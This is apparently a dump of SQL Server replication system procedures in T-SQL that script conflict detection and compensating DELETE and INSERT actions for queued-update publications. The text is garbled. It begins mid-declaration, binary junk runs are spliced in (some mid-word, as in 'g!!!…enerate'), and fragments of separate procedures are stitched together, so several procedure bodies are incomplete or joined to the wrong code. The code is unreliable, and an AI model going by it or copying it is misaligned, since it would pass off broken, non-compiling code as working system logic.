            ,@num_col       int
            ,@bytestr nvarchar(10)
            ,@bitstr nvarchar(10)
            ,@art_col       int -- position in the article partition.
            ,@isset         int
            ,@timestamp_subscribed bit
            ,@pubid         int
            ,@artid         int
            ,@hfilterprocid int
            ,@sync_objid int
            ,@status tinyint

    --
    -- Get meta data on the article
    --
    select @pubid = sp.pubid
            ,@artid = sa.artid
            ,@hfilterprocid = sa.filter
            ,@sync_objid = sa.sync_objid 
            ,@status = sa.status
    from syspublications sp join sysarticles sa on sp.pubid = sa.pubid 
    where sp.name = @publication and sa.name = @article 
    --
    -- Check if we have horizontal partition filter
    --
    if (@hfilterprocid = 0)
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the source object
        --
        exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    end
    else
    begin
        --
        -- horizontal partional filter not defined, the qualified name should be the view object
        --
        exec sys.sp_MSget_qualified_name @sync_objid, @qualname OUTPUT
    end
    select @timestamp_subscribed = case when (@status & 32 <> 0) then 1 else 0 end
    --
    -- Start scripting
    --
    select @cmd = N'
    ' + N'--
    ' + N'-- detection/conflict resolution stage
    ' + N'--'
    --
    -- Queued specific scripting
    --
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
    if (@execution_mode = @QPubWins)
        save tran cftpass
    '
    end
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- Generate the update statement
    --
    select @cmd2 = N'
    update ' + @qualname + N' set
    '
    select @spacer = N' 
        '
            ,@cmd = N''
    exec sys.sp_MSpad_command @cmd output, 8
    select @num_col = 0
            ,@art_col = 0

    DECLARE #hCColid CURSOR LOCAL FAST_FORWARD FOR 
        select column_id from sys.columns where object_id = @objid order by column_id asc

    open #hCColid
    fetch #hCColid into @this_col
    while (@@fetch_status <> -1)
    begin
        -- Get the ordinal of the article partition or not.
        exec @isset = sys.sp_isarticlecolbitset @this_col, @artid
        if @isset = 0
        begin
            --
            -- Special handling of a timestamp col and rowguid col for sync tran procedure
            -- See sp_helparticlecolumns : xtype 189 is timestamp
            --
            if ((@timestamp_subscribed = 1) and 
                    exists ( select * from sys.columns where object_id = @objid and column_id = @this_col and system_type_id = 189))
                select @art_col = @art_col + 1
        end
        else
            select @art_col = @art_col + 1

        exec @rc = sys.sp_MSget_colinfo @objid, @this_col, @artid, 0, @colname output, @ccoltype output
        if @rc = 0 and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1)
        begin
            --
            -- do not include references to timestamp columns, identity columns or rowguid columns
            --
            if (rtrim(@ccoltype) not like N'timestamp' 
                    and ColumnProperty(@objid, @colname, 'IsIdentity') != 1 
                    and ColumnProperty(@objid, @colname, 'IsRowGuidCol') != 1)
            begin
                if @cmd2 is not null
                begin
                    exec sys.sp_MSflush_command @cmd2 output, 1, 8
                    select @cmd2 = null
                end

                select @num_col = @num_col + 1
                -- Optimization:
                -- Get null or actual column name
                -- Note: the output is quoted.
                exec sys.sp_MSget_synctran_column 
                    @ts_col = null,
                    @op_type = null , -- 'ins, 'upd', 'del'
                    @is_new = null,
                    @primary_key_bitmap = null,
                    @colname = @colname,
                    @this_col = @this_col,
                    @column = @column output,
                    @from_proc = 1,
                    @art_col = @art_col -- position in the partition.

                select @cmd = @cmd + @spacer + QUOTENAME(@colname) + N' = ' + @column               
                select @spacer = N','
                --
                -- flush command if necessary
                --
                exec sys.sp_MSflush_command @cmd output, 1, 8
            end
        end
        fetch #hCColid into @this_col
    end
    close #hCColid
    deallocate #hCColid
    --
    -- save off cmd fragment
    --
    if @num_col > 0
    begin
        --
        -- Add the where clause based on the update mode
        --
        select @colname = 'msrepl_tran_version'
        exec sys.sp_MSscript_where_clause @objid, @artid, 'upd version', @colname, 4
    end 
    else
    -- set the @@rowcount
        insert into #proctext(procedure_text) values( N' select @retcode = @retcode
    ')
    --
    -- continue with rest of scripting
    --
    select @cmd = N'
    select @rowcount = @@ROWCOUNT, @error = @@ERROR
    '
    --
    -- Queued specific case
    --
    if (@queued_pub = 1)
    begin
        select @cmd = @cmd + N'
    if (@execution_mode = @QPubWins)
        rollback tran cftpass'
    end
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- Queued specific case
    --
    if (@queued_pub = 1)
    begin
    	--
    	-- script the assignment of new values based on bitmask
    	--
    	select @num_col = 0
    			,@art_col = 0
    			,@cmd = N'
    ' + N'--
    ' + N'-- for conflict resolution - assign the NEW values based on bitmap
    ' + N'--
    if (@execution_mode in (@QPubWins, @QSubWins))
    begin 	
    	select '
    	insert into #proctext(procedure_text) values(@cmd)	

    	DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
    		select column_id from sys.columns where object_id = @objid order by column_id asc

    	OPEN hCColid
    	FETCH hCColid INTO @this_col
    	WHILE (@@fetch_status != -1)
    	begin
    		-- Get the ordinal of the article partition or not.
    		exec @isset = sp_isarticlecolbitset @this_col, @artid
    		if @isset = 0
    		begin
    			if ((@timestamp_subscribed = 1) and 
    					exists ( select * from sys.columns where object_id= @objid and column_id = @this_col and system_type_id = 189))
    				select @art_col = @art_col + 1
    		end
    		else
    			select @art_col = @art_col + 1

    		exec @rc = sp_MSget_colinfo @objid, @this_col, @artid, 0, @colname output, @ccoltype output
    		if ((@rc = 0) 
    			and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed != 1) 
    			and (rtrim(@ccoltype) != N'timestamp'))
    		begin
    			select @num_col = @num_col + 1
    					,@bytestr = cast((1 + (@art_col-1) / 8 ) as nvarchar)
    					,@bitstr =  cast( power(2, (@art_col-1) % 8 ) as nvarchar)

    			select @cmd = N'@c' + cast(@this_col as nvarchar(10)) + N' = case substring(@bitmap,' + 
    				@bytestr + N',1) & ' + @bitstr + N' when ' + @bitstr + 
    				N' t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Jn㣇vp_create procedure sys.sp_MSscriptupdateconflictfinder 
(
	@publication sysname		-- publication name
	,@article sysname			-- article name
	,@objid int				-- object id
)
as
begin
	declare 
			@rc int
			,@cmd nvarchar(4000)
			,@artid int
			,@pubid int
			,@qualname nvarchar(517)
			,@fhasnonpkuniquekeys int

	--
	-- initialize the vars we will use
	--
	select @pubid = pubid 
	from syspublications 
	where name = @publication
	select @artid = artid
	from sysarticles 
	where name = @article 
		and pubid = @pubid
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	--  check if this article has non PK unique keys
	--
	exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
	--
	-- start scripting
	--
	select @cmd = N'
	' + N'--
	' + N'-- --------------------------------------------------------------------
	' + N'-- This is the crux of the proc for conflict resolution 
	' + N'-- This code block is essentially a state machine
	' + N'-- where we ascertain the state of resolution
	' + N'-- The actions of this resolution varies for the policy
	' + N'-- The comments for each state outline the policy
	' + N'-- specific actions
	' + N'-- --------------------------------------------------------------------
	' + N'--'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
	if (@execution_mode in (@QPubWins, @QSubWins))
	begin 
		declare @fpkeyupdated int'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- non PK unique keys specific scripting
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		select @cmd = N'
		declare @fnpukeyupdated int'
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'
		' + N'--
		' + N'-- initialize the conflict case
		' + N'--
		select @cftcase = 0 '
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script the PK update check
	--
	select @cmd = N'
		exec @fpkeyupdated = sp_MSispkupdateinconflict ' + 
		cast(@pubid as nvarchar(10)) + N', ' + cast(@artid as nvarchar(10)) + N', @bitmap'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
		if (@fpkeyupdated = -1)
			return -1'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script non PK unique key update check
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		select @cmd = N'
		exec @fnpukeyupdated = sp_MSisnonpkukupdateinconflict ' + 
		cast(@pubid as nvarchar(10)) + N', ' + cast(@artid as nvarchar(10)) + N', @bitmap'
		insert into #proctext(procedure_text) values( @cmd )
		select @cmd = N'
		if (@fnpukeyupdated = -1)
			return -1'
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'
		if (@rowcount = 0)
		begin
			' + N'--
			' + N'-- we had conflict for this command
			' + N'--'
	insert into #proctext(procedure_text) values( @cmd )
	if (@fhasnonpkuniquekeys = 1)
	begin
		select @cmd = N'
			if (@error in (547, 2601, 2627) or (@fpkeyupdated = 1) or (@fnpukeyupdated = 1)) '
	end
	else
	begin
		select @cmd = N'
			if (@error in (547, 2601, 2627) or (@fpkeyupdated = 1)) '
	end
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'
			begin
				' + N'--
				' + N'-- Conflict due to unique key/constraint
				' + N'--'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
				if (@fpkeyupdated = 1)
				begin
					' + N'--
					' + N'-- PK is being updated 
					' + N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script check for rows with all keys with OLD values
	--
	--if (row exists with pk = OLD_PK or non PK unique keys = OLD values)
	select @cmd = N'
					if exists (select * from ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = N'_old'
				,@mode = 6
	insert into #proctext(procedure_text) values( N' )')
	--
	-- continue scripting
	--
	select @cmd = N'
					begin
						' + N'--
						' + N'-- case 14: row(s) with OLD key values exist(s) 
						' + N'-- (and rows with NEW key values do not exist)
						' + N'-- PubWins -----------------------------------------------------------
						' + N'-- generate delete + insert compensating action with OLD values for all unique keys 
						' + N'-- generate delete compensating action for row with PK = NEW_PK 
						' + N'-- SubWins -----------------------------------------------------------
						' + N'-- delete row with PK=OLD_PK
						' + N'-- insert row with NEW values (use bitmap)
						' + N'--
						select @cftcase = 14
					end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script check for rows with all keys with NEW values (use bitmap)
	--
	--if (row exists with pk = NEW_PK or non PK unique keys = NEW values)
	select @cmd = N'
					if exists (select * from ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = NULL
				,@mode = 6
	insert into #proctext(procedure_text) values( N' )')
	--
	-- continue scripting
	--
	select @cmd = N'
					begin
						' + N'--
						' + N'-- row with NEW key values exist(s)
						' + N'--
						if (@cftcase = 14)
						begin
							' + N'--
							' + N'-- case 15: rows exist with NEW key values and OLD key values
							' + N'-- PubWins -----------------------------------------------------------
							' + N'-- generate delete + insert compensating action with OLD values for all unique keys 
							' + N'-- generate delete + insert compensating action with NEW values for all unique keys 
							' + N'-- SubWins -----------------------------------------------------------
							' + N'-- delete row with PK=OLD_PK
							' + N'-- delete rows with NEW values of all keys
							' + N'-- insert row with NEW values (use bitmap)
							' + N'--
							select @cftcase = 15 
						end'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
						else
						begin
							' + N'--
							' + N'-- case 16: rows exist with NEW key values and 
							' + N'-- row does not exist for OLD values
							' + N'-- PubWins -----------------------------------------------------------
							' + N'-- generate delete compensating action for row with PK = OLD_PK 
							' + N'-- generate delete + insert compensating action with NEW values for all unique keys 
							' + N'-- SubWins -----------------------------------------------------------
							' + N'-- delete rows with NEW values of all keys
							' + N'-- insert row with NEW values (use bitmap)
							' + N'--
							select @cftcase = 16 
						end
					end'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
					else
					begin
						' + N'--
						' + N'-- row with NEW key values does not exist
						' + N'--
						if (@cftcase = 0)
						begin
							' + N'--
							' + N'-- case 12 : no existing rows with OLD key values or NEW or new key values
							' + N'-- PubWins -----------------------------------------------------------
							' + N'-- generate delete compensating action with PK = OLD_PK
							' + N'-- generate delete compensating action with PK = NEW_PK
							' + N'-- SubWins -----------------------------------------------------------
							' + N'-- insert row with NEW values (use bitmap)
							' + N'--
							select @cftcase = 12 
						end'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
						else
						begin
							' + N'--
							' + N'-- case 14: row(s) with OLD key values exist(s) 
							' + N'-- (and rows with NEW key values do not exist)
							' + N'-- PubWins -----------------------------------------------------------
							' + N'-- g!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(JlSvp_enerate delete + insert compensating action with OLD values for all unique keys 
							' + N'-- generate delete compensating action for row with PK = NEW_PK 
							' + N'-- SubWins -----------------------------------------------------------
							' + N'-- delete row with PK=OLD_PK
							' + N'-- insert row with NEW values (use bitmap)
							' + N'--
							select @cftcase = 14
						end
					end
				end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script this block if the article has non PK unique keys
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		--
		-- continue scripting
		--
		select @cmd = N'
				else if (@fnpukeyupdated = 1)
				begin
					'+N'-- 
					'+N'-- non PK unique keys are being updated but PK is not updated
					'+N'-- OLD_PK == NEW_PK in these cases
					'+N'--'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- script the pkrowexists assignment
		--
		select @cmd = N'
					declare @pkrowexist bit
					
					if exists (select * from ' + @qualname 
		insert into #proctext(procedure_text) values( @cmd )
		exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0
		select @cmd =  N' )
						select @pkrowexist = 1 '
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- script check for rows with non PK keys with OLD values
		--
		-- if (rows exist with OLD values of non PK unique keys values)
		select @cmd = N'
					if exists (select * from ' + @qualname 
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
					,@artid = @artid
					,@prefix = N'@c' 
					,@suffix = N'_old'
					,@mode = 7
		insert into #proctext(procedure_text) values( N' )')
		--
		-- continue scripting
		--
		select @cmd = N'
					begin
						if (@pkrowexist = 1)
						begin
							'+N'--
							'+N'-- case 10: rows exist with OLD non PK key values
							'+N'-- (and rows with NEW non PK key values do not exist)
							'+N'-- and row with OLD_PK exists
							'+N'-- PubWins -----------------------------------------------------------
							'+N'-- generate delete + insert compensation action with OLD values for all keys 
							'+N'-- generate delete compensating action with NEW values for non PK keys
							'+N'-- SubWins -----------------------------------------------------------
							'+N'-- delete row with PK=OLD_PK
							'+N'-- insert row with NEW values (use bitmap)
							'+N'--
							select @cftcase = 10
						end'
		insert into #proctext(procedure_text) values( @cmd )
		select @cmd = N'
						else
						begin
							'+N'--
							'+N'-- case 21: rows exist with OLD non PK key values
							'+N'-- (and rows with NEW non PK key values do not exist)
							'+N'-- and row with OLD_PK does not exist
							'+N'-- PubWins -----------------------------------------------------------
							'+N'-- generate delete with PK = OLD_PK
							'+N'-- generate delete + insert compensation action with OLD values for non PK keys 
							'+N'-- generate delete compensating action with NEW values for non PK keys
							'+N'-- SubWins -----------------------------------------------------------
							'+N'-- delete row with PK=OLD_PK
							'+N'-- insert row with NEW values (use bitmap)
							'+N'--
							select @cftcase = 21
						end
					end '
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- script check for rows with non PK keys with NEW values (use bitmap)
		--
		-- if (rows exist with NEW values of non PK unique keys values)
		select @cmd = N'
					if exists (select * from ' + @qualname 
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
					,@artid = @artid
					,@prefix = N'@c' 
					,@suffix = NULL
					,@mode = 7
		insert into #proctext(procedure_text) values( N' )')
		--
		-- continue scripting
		--
		select @cmd = N'
					begin
						'+N'--
						'+N'-- find the type of conflict
						'+N'--
						if (@cftcase in (10,21))
						begin
							if (@pkrowexist = 1)
							begin
								'+N'--
								'+N'-- case 20: rows exist with OLD and NEW values of non PK keys
								'+N'-- and row with OLD_PK exists
								'+N'-- PubWins -----------------------------------------------------------
								'+N'-- generate delete + insert compensation action with OLD values for all keys 
								'+N'-- generate delete + insert compensation action with NEW values for non PK keys 
								'+N'-- SubWins -----------------------------------------------------------
								'+N'-- delete row with PK=OLD_PK
								'+N'-- delete row with NEW values for non PK keys
								'+N'-- insert row with NEW values (use bitmap)
								'+N'--
								select @cftcase = 20 
							end '
		insert into #proctext(procedure_text) values( @cmd )
		select @cmd = N'
							else
							begin
								'+N'--
								'+N'-- case 22: rows exist with OLD and NEW values of non PK keys
								'+N'-- and row with OLD_PK does not exist
								'+N'-- PubWins -----------------------------------------------------------
								'+N'-- generate delete with PK = OLD_PK
								'+N'-- generate delete + insert compensation action with OLD values for non PK keys 
								'+N'-- generate delete + insert compensation action with NEW values for non PK keys 
								'+N'-- SubWins -----------------------------------------------------------
								'+N'-- delete row with PK=OLD_PK
								'+N'-- delete row with NEW values for non PK keys
								'+N'-- insert row with NEW values (use bitmap)
								'+N'--
								select @cftcase = 22 
							end
						end '
		insert into #proctext(procedure_text) values( @cmd )
		select @cmd = N'
						else
						begin
							if (@pkrowexist = 1)
							begin
								'+N'--
								'+N'-- case 17: rows exist with NEW values of non PK keys  
								'+N'-- and row does not exist with OLD values of non PK keys
								'+N'-- and row with OLD_PK exists
								'+N'-- PubWins -----------------------------------------------------------
								'+N'-- generate delete compensating action with OLD values for non PK keys 
								'+N'-- generate delete + insert compensation action with NEW values for all keys 
								'+N'-- SubWins -----------------------------------------------------------
								'+N'-- delete row with NEW values for non PK keys
								'+N'-- insert row with NEW values (use bitmap)
								'+N'--
								select @cftcase = 17 
							end '
		insert into #proctext(procedure_text) values( @cmd )
		select @cmd = N'
							else
							begin
								'+N'--
								'+N'-- case 23: rows exist with NEW values of non PK keys  
								'+N'-- and row does not exist with OLD values of non PK keys
								'+N'-- and row with OLD_PK does not exist
								'+N'-- PubWins -----------------------------------------------------------
								'+N'-- delete row with PK=OLD_PK
								'+N'-- generate delete compensating action with OLD values for non PK keys 
								'+N'-- generate delete + insert compensation action with NEW values for non PK keys 
								'+N'-- SubWins -----------------------------------------------------------
								'+N'-- delete row with NEW values for non PK keys
								'+N'-- insert row with NEW values (use bitmap)
								'+N'--
								select @cftcase = 23 
							end
						end
					end '
		insert into #proctext(procedure_text) values( @cmd )
		select @cmd = N'
					else
					begin
						'+N'--
						'+N'-- row does not exist with NEW values of non PK keys
						'+N'--
						if (@cftcase = 0)
						begin
							if (@pkrowexist = 1)
							begin
								'+N'--
								'+N'-- case 18 : no existing rows with OLD or NEW values of non PK keys
								'+N'-- and row with OLD_PK exists
								'+N'-- PubWins -----------------------------------------------------------
								'+N'-- delete row with PK=OLD_PK
								!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<J
Lp_'+N'-- generate delete compensating action with OLD values for non PK keys 
								'+N'-- generate delete compensating action with NEW values for non PK keys 
								'+N'-- generate insert with PK = OLD_PK
								'+N'-- SubWins -----------------------------------------------------------
								'+N'-- insert row with NEW values (use bitmap)
								'+N'--
								select @cftcase = 18 
							end '
		insert into #proctext(procedure_text) values( @cmd )
		select @cmd = N'
							else
							begin
								'+N'--
								'+N'-- case 24 : no existing rows with OLD or NEW values of non PK keys
								'+N'-- and row with OLD_PK does not exist
								'+N'-- PubWins -----------------------------------------------------------
								'+N'-- delete row with PK=OLD_PK
								'+N'-- generate delete compensating action with OLD values for non PK keys 
								'+N'-- generate delete compensating action with NEW values for non PK keys 
								'+N'-- SubWins -----------------------------------------------------------
								'+N'-- insert row with NEW values (use bitmap)
								'+N'--
								select @cftcase = 24 
							end
						end
					end
				end '
		insert into #proctext(procedure_text) values( @cmd )
	end
	--
	-- continue scripting
	--
	select @cmd = N'
			end
			else
			begin
				' + N'--
				' + N'-- Conflict due non key column change or row deleted
				' + N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script check for rows with pk = OLD_PK
	--
	select @cmd = N'
				if exists (select * from ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0
	insert into #proctext(procedure_text) values( N' )')
	--
	-- continue scripting
	--
	select @cmd = N'
				begin
					' + N'--
					' + N'-- case 11: row exists
					' + N'-- PubWins -----------------------------------------------------------
					' + N'-- generate delete + insert compensating action with PK = OLD_PK
					' + N'-- SubWins -----------------------------------------------------------
					' + N'-- delete row with PK=OLD_PK
					' + N'-- insert row with NEW values (use bitmap)
					' + N'--
					select @cftcase = 11
				end'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
				else
				begin
					' + N'--
					' + N'-- case 13: row does not exist
					' + N'-- PubWins -----------------------------------------------------------
					' + N'-- generate delete compensating action with PK = OLD_PK
					' + N'-- SubWins -----------------------------------------------------------
					' + N'-- insert row with NEW values (use bitmap)
					' + N'--
					select @cftcase = 13
				end
			end
		end'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
		else if (@execution_mode = @QPubWins)
		begin
			' + N'--
			' + N'-- we had no conflict for this command
			' + N'-- We need to process this block only in the Publisher Wins cases
			' + N'--'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
			if (@fpkeyupdated = 1)
			begin
				' + N'--
				' + N'-- PK is being updated
				' + N'-- PubWins -----------------------------------------------------------
				' + N'-- generate delete + insert compensating action with OLD values for all unique keys 
				' + N'-- generate delete compensating action with PK=NEW_PK
				' + N'-- 
				select @cftcase = 1
			end'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
			else
			begin
				' + N'--
				' + N'-- non PK column updated
				' + N'-- PubWins -----------------------------------------------------------
				' + N'-- generate delete + insert compensating action with OLD values for all unique keys
				' + N'--
				select @cftcase = 3
			end
		end
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0	
end
:@:@lues of all keys
		' + N'-- 
		if (@cftcase in (1,3,10,14,15,20))
		begin'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- generate delete compensating command for OLD values of all unique keys
	--
	select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
		+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = N'_old'
				,@mode = 4
	--
	-- script the sending command
	--
	exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
	--
	-- script the refresh commands for OLD values of all unique keys
	--
	exec @rc = sp_MSscript_compensating_insert @publication, @article, @objid, 4, 0
	if (@rc != 0 or @@error != 0)
		return 1
	--
	-- continue scripting
	--
	select @cmd = N'
		end
		' + N'-- 
		' + N'--  Generate delete+insert for NEW values of all keys
		' + N'-- 
		if (@cftcase in (15,16,17))
		begin'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- generate delete compensating command for NEW values of all unique keys
	--
	select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
		+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
	insert into #proctext(procedure_text) values( @cmd )
	exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = NULL
				,@mode = 4
	--
	-- script the sending command
	--
	exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
	--
	-- script the refresh commands for NEW values of all unique keys
	--
	exec @rc = sp_MSscript_compensating_insert @publication, @article, @objid, 5, 0
	if (@rc != 0 or @@error != 0)
		return 1
	--
	-- continue scripting
	--
	select @cmd = N'
		end

		' + N'-- 
		' + N'--  --------------------------------------------------------------------
		' + N'--  Perform single row insert generations next
		' + N'--  --------------------------------------------------------------------
		' + N'-- 

		' + N'-- 
		' + N'--  Generate INSERT for PK = OLD_PK
		' + N'-- 
		if (@cftcase in (11,18))
		begin'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script compensating insert with OLD_PK
	--
	exec sp_MSscript_compensating_insert @publication, @article, @objid, 1, 0
	--
	-- continue scripting
	--
	select @cmd = N'
		end

		' + N'-- 
		' + N'--  --------------------------------------------------------------------
		' + N'--  all done for conflict resolution for Publisher Wins policy
		' + N'--  --------------------------------------------------------------------
		' + N'-- 
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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publication name
	,@article sysname			-- article name
	,@objid int				-- object id
)
as
begin
	declare @cmd nvarchar(4000)
			,@artid int
			,@pubid int
			,@qualname nvarchar(517)
			,@dest_table sysname
			,@dest_owner nvarchar(260)
			,@rc           int
			,@fhasnonpkuniquekeys int

	--
	-- initialize the vars we will use
	--
	select @pubid = pubid from syspublications where name = @publication
	select @artid = artid, @dest_table = dest_table, @dest_owner = dest_owner
	from sysarticles where name = @article and pubid = @pubid
	select @dest_owner = case when (@dest_owner IS NULL) then N''
				else quotename(@dest_owner) + N'.' end
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	--  check if this article has non PK unique keys
	--
	exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
	--
	-- start scripting
	--
	select @cmd = N'
	
	' + N'-- 
	' + N'--  --------------------------------------------------------------------
	' + N'--  Now the generation phase
	' + N'--  Use the conflict case value to decide what to do
	' + N'--  --------------------------------------------------------------------
	' + N'--
	'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
	
	if (@execution_mode = @QPubWins)
	begin
		' + N'-- 
		' + N'--  Publisher wins resolution
		' + N'--  
		'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- declare fetch variables for cursor
	--
	exec @rc = sp_scriptpubwinsrefreshcursorvars @objid
	--
	-- continue scripting
	--
	select @cmd = N'
		' + N'-- 
		' + N'--  --------------------------------------------------------------------
		' + N'--  Perform single row delete generations first
		' + N'--  --------------------------------------------------------------------
		' + N'-- 
		'
	insert into #proctext(procedure_text) values( @cmd )
	select @cmd = N'
		' + N'-- 
		' + N'--  Generate DELETE for PK = OLD_PK
		' + N'-- 
		if (@cftcase in (11,12,13,16,18,21,22,23,24))
		begin'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- generate delete compensating cmd with OLD_PK
	--
	select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
		+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'qcft_comp', NULL, 0, 'del'
	--
	-- script the sending command
	--
	exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
	--
	-- continue scripting
	--
	select @cmd = N'
		end
		' + N'-- 
		' + N'--  Generate DELETE for PK = NEW_PK 
		' + N'-- 
		if (@cftcase in (1,12,14))
		begin'
	insert into #proctext(procedure_text) values( @cmd )		
	--
	-- generate delete compensating cmd with NEW_PK
	--
	select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
		+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'qcft_comp', NULL, 0, 'ins'
	--
	-- script the sending command
	--
	exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
	--
	-- continue scripting
	--
	select @cmd = N'
		end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- this scripting is specific to non PK unique keys
	--
	if (@fhasnonpkuniquekeys = 1)
	begin
		--
		-- continue scripting
		--
		select @cmd = N'

		'+N'--
		'+N'-- Generate delete for OLD values of non PK keys
		'+N'--
		if (@cftcase in (17,18,23,24))
		begin'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- generate delete compensating command for OLD values of non PK unique keys
		--
		select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
					+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
				,@artid = @artid
				,@prefix = N'@c' 
				,@suffix = N'_old'
				,@mode = 5
		--
		-- script the sending command
		--
		exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
		--
		-- continue scripting
		--
		select @cmd = N'
		end

		'+N'--
		'+N'-- Generate delete for NEW values of non PK keys
		'+N'--
		if (@cftcase in (10,18,21,24))
		begin'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- generate delete compensating command for NEW values of non PK unique keys
		--
		select @cmd = N'
			select @cmd = N''DELETE ' + sys.fn_replreplacesinglequote(@dest_owner) collate database_default 
					+ sys.fn_replreplacesinglequote(quotename(@dest_table)) collate database_default + N' '' + '
		insert into #proctext(procedure_text) values( @cmd )
		exec @rc = sp_replscriptuniquekeywhereclause @tabid = @objid
					,@artid = @artid
					,@prefix = N'@c' 
					,@suffix = NULL
					,@mode = 5
		--
		-- script the sending command
		--
		exec sp_MSscript_compensating_send @pubid, @artid, 0, 1
		--
		-- continue scripting
		--
		select @cmd = N'
		end

		' + N'-- 
		' + N'--  --------------------------------------------------------------------
		' + N'--  Perform refresh(delete+insert) generations next
		' + N'--  --------------------------------------------------------------------
		' + N'-- 
		
		' + N'-- 
		' + N'--  Generate delete+insert for OLD values of non PK keys
		' + N'-- 
		if (@cftcase in (21,22))
		begin'
		insert into #proctext(procedure_text) values( @cmd )
		--
		-- generate delete compensating command for OLD values of non PK unique keys
		--
